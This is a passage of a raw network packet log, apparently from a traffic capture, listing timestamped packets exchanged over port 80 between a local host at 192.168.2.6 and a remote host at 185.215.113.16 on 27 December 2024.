Dec 27, 2024 08:50:49.766226053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.766290903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.766304970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.766371012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.766390085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.766663074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.767019987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.767066002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.767079115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.767153025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.767173052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.767271042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.767863035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.767935991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.767949104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.767987013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.768110991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.768150091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.768599033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.768665075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.768677950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.768717051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.768735886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.768791914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.769459963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.769474983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.769486904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.769520998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.769530058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.769579887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.770185947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.770239115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.770251989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.770314932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.770349026 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.770404100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.771009922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.771023035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.771034002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.771096945 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.771107912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.771157026 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.771756887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.771814108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.771827936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.771857977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.771924973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.771966934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.772538900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.772607088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.772619963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.772703886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.812592983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.812614918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.812628031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.812645912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.812700033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.812730074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.812992096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.813035965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.813049078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.813071012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.813090086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.955161095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.955185890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.955199957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.955243111 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.955260992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.955319881 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.955502033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.955559969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.955571890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.955609083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.956063986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.956115961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.956127882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.956151962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.956161022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.956199884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.956784964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.956832886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.956845045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.956859112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.956907988 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.956923008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.957596064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.957663059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.957676888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.957688093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.957742929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.957778931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.958374977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.958415031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.958427906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.958435059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.958506107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.958564043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.959148884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.959167004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.959178925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.959239006 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.959362984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.959949017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.960000038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.960011959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.960014105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.960052967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.960113049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.960747004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.960783958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.960799932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.960810900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.960850000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.960874081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.961529970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.961580992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.961594105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.961642027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.961642027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.961668968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.962318897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.962357998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.962363958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.962373018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.962456942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.962471008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.963093996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.963150024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.963162899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.963181973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.963196039 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.963249922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.963872910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.963922024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.963934898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.963937044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.963995934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.964030981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.964696884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.964737892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.964745045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.964759111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.964799881 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.964901924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.965466976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.965517044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.965528965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.965564966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.965564966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.965641975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.966248035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.966293097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.966300011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.966312885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.966357946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.966393948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.967036963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.967066050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.967077971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.967113972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.967113972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.967173100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.967818975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.967850924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.967863083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.967869997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.967927933 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.968027115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.968609095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.968666077 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.968676090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.968693972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.968743086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.968758106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.969439983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.969466925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.969477892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.969494104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.969526052 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.969571114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.970206022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.970247984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.970261097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.970267057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.970305920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.970345020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.970994949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.971020937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.971031904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.971050978 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.971091032 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.971108913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.971757889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.971812963 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.971818924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.971832991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.971887112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.971911907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.972553015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.972616911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.972623110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.972635984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.972688913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.972700119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.973345041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.973397017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.973397017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.973411083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.973463058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.973501921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.974116087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.974164009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.014200926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.014233112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.014245033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.014256954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.014338970 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.014436007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.014467955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.014480114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.014532089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.156363010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.156420946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.156431913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.156517982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.156538963 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.156574011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.156816959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.156829119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.156847954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.156872988 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.157255888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.157313108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.157325029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.157330990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.157361984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.157512903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.158627987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.158638954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.158648968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.158704996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.158740044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.159380913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.159435034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.159445047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.159456015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.159486055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.159553051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.160115957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.160233974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.160247087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.160283089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.160283089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.160322905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.161005974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.161072969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.161086082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.161092043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.161112070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.161125898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.161720991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.161772013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.161803961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.161817074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.161873102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.161900043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.162395954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.162444115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.162456989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.162462950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.162491083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.162503958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.162888050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.162936926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.162936926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.162950993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.162988901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.162995100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.163564920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.163619995 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.163635969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.163646936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.163697004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.163721085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.164450884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.164489985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.164500952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.164511919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.164562941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.164660931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.165328026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.165344954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.165355921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.165394068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.165394068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.165411949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.165988922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.166032076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.166043997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.166053057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.166076899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.166085005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.166755915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.166784048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.166795015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.166815996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.166855097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.166856050 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.167574883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.167586088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.167597055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.167627096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.167651892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.167682886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.168340921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.168382883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.168395042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.168412924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.168423891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.168427944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.169095039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.169137001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.169147968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.169174910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.169209003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.169215918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.169994116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.170006990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.170017958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.170051098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.170052052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.170069933 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.170661926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.170717001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.170721054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.170734882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.170778990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.170824051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.171485901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.171497107 CET	80	49752	185.215.113.16	192.168.2.6
